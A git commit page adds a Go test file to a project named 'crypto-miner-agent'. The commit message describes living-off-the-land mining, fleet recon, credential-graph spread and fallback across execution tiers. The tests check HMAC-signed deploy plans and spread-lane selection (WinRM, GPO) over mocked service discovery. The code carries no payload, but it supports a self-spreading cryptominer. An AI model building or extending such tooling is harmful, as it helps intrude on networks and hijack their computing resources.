Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
78
agent/deploy/discover_join_test.go
Normal file
78
agent/deploy/discover_join_test.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestVerifyDeployPlanSignatureAgent(t *testing.T) {
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "winrm",
|
||||
Action: "winrm",
|
||||
Script: "# noop",
|
||||
}
|
||||
payload, _ := json.Marshal(plan)
|
||||
mac := hmac.New(sha256.New, []byte("fleet-test"))
|
||||
mac.Write(payload)
|
||||
sig := hex.EncodeToString(mac.Sum(nil))
|
||||
if !VerifyDeployPlanSignature(plan, sig, "fleet-test") {
|
||||
t.Fatal("expected valid signature")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
FleetSecret: "fleet-test",
|
||||
WorkerName: "test-worker",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
},
|
||||
}
|
||||
|
||||
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
|
||||
if len(services) == 0 {
|
||||
t.Fatal("expected services")
|
||||
}
|
||||
if services[0].Name != "CCMEXEC" {
|
||||
t.Fatalf("service=%q", services[0].Name)
|
||||
}
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "gpo",
|
||||
Action: "gpo",
|
||||
Script: "$env:AETHER_DEFER_MINING='1'",
|
||||
}
|
||||
payload, _ := json.Marshal(plan)
|
||||
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
||||
mac.Write(payload)
|
||||
return DeployPlanResponse{
|
||||
OK: true,
|
||||
JoinLane: "gpo",
|
||||
Plan: plan,
|
||||
Signature: hex.EncodeToString(mac.Sum(nil)),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Inject fake discovery via ParseServiceDiscoverJSON path
|
||||
oldDiscover := runServiceDiscoverFn
|
||||
runServiceDiscoverFn = func(maxLANHosts int) string {
|
||||
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"CCMEXEC","status":"running","join_lane_candidate":"gpo","source":"local_service"}]}}`
|
||||
}
|
||||
defer func() { runServiceDiscoverFn = oldDiscover }()
|
||||
|
||||
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
||||
if err != nil {
|
||||
// gpo script execution may fail on non-windows — still expect lane selection + signature pass
|
||||
if lane != "gpo" {
|
||||
t.Fatalf("lane=%q err=%v", lane, err)
|
||||
}
|
||||
return
|
||||
}
|
||||
if lane != "gpo" {
|
||||
t.Fatalf("lane=%q detail=%q", lane, detail)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user